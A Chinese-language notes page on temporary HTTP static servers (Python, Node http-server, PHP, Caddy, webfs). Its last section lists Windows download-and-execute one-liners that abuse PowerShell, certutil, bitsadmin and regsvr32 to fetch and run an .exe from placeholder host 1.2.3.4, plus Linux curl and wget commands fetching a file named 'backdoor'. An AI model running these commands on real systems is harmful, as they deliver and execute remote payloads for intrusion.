一、Python
临时 HTTP 静态服务器通常用于快速共享文件或在开发和测试环境中临时托管静态内容。以下是一些常见的临时 HTTP 静态服务器:
Python 自带的 HTTP 服务器,Python 提供了一个简单的内置 HTTP 服务器,可以使用以下命令在任何目录下启动:
python3 -m http.server
或在 Python 2 版本中:
python -m SimpleHTTPServer
二、Node.js 的 http-server
如果您安装了 Node.js,您可以使用 http-server 模块来启动一个简单的 HTTP 静态服务器:
npm install -g http-server
http-server
三、 PHP 内置的 HTTP 服务器:
在 PHP 5.4 之后的版本,PHP 提供了一个内置的 HTTP 服务器,可以使用以下命令启动:
php -S localhost:8000
四、caddy:
Caddy 是一个现代的 HTTP/2 静态文件服务器,可以快速设置并支持自动 HTTPS:
caddy file-server --browse
五、webfs工具:
webfs 是一个简单的轻量级工具,允许您通过 HTTP 协议来访问文件系统中的文件。
以下是在 Linux 上使用 webfs 创建临时 HTTP 静态服务器的步骤:
安装 webfs:
在大多数 Linux 发行版中,可以通过包管理器来安装 webfs。例如,在 Ubuntu/Debian 上,可以使用以下命令安装:sudo apt-get update
在输入sudo apt-get install webfs
启动 webfs:
安装完成后,使用以下命令来启动 webfs,并指定要托管的文件目录:
webfsd -p 8080 -r /path/to/your/static/files
其中,-p 参数用于指定要使用的端口号(在此示例中为 8080),-r 参数用于指定托管文件的根目录路径。访问静态文件:现在,临时 HTTP 静态服务器已经运行。您可以在浏览器中访问 http://localhost:8080(或使用服务器 IP 地址)来访问托管的静态文件。
六、在 Windows 中,您可以使用不同的命令来下载并执行文件:
使用 PowerShell
- 这段 PowerShell 命令的意思是:从 http://1.2.3.4/5.exe 下载文件,保存到
c:\download\a.exe,然后启动 c:\download\a.exe 这个文件。
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'
使用 certutil
- 从 http://1.2.3.4/5.exe 下载文件,保存到 c:\download\a.exe,然后执行
c:\download\a.exe 这个文件。
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe
使用 bitsadmin
- 从 http://1.2.3.4/5.exe 下载文件,保存到 c:\download\a.exe,然后执行
c:\download\a.exe 这个文件。
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe
请注意,bitsadmin 下载速度可能较慢。
使用 regsvr32
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll
在 Linux 中,您可以使用不同的命令来下载文件:
使用 Curl
curl http://1.2.3.4/backdoor -o backdoor
使用 Wget
wget http://1.2.3.4/backdoor
使用 Awk
首先使用以上列出的任意一条命令启动一个 HTTP Server,然后运行以下 Awk 命令:
awk 'BEGIN {
RS = ORS = "\r\n"
HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPCon
while (HTTPCon |& getline > 0)
print $0
close(HTTPCon)
}'
参考内容:
https://gist.github.com/willurd/5720255#webfs
https://paper.seebug.org/834/#windows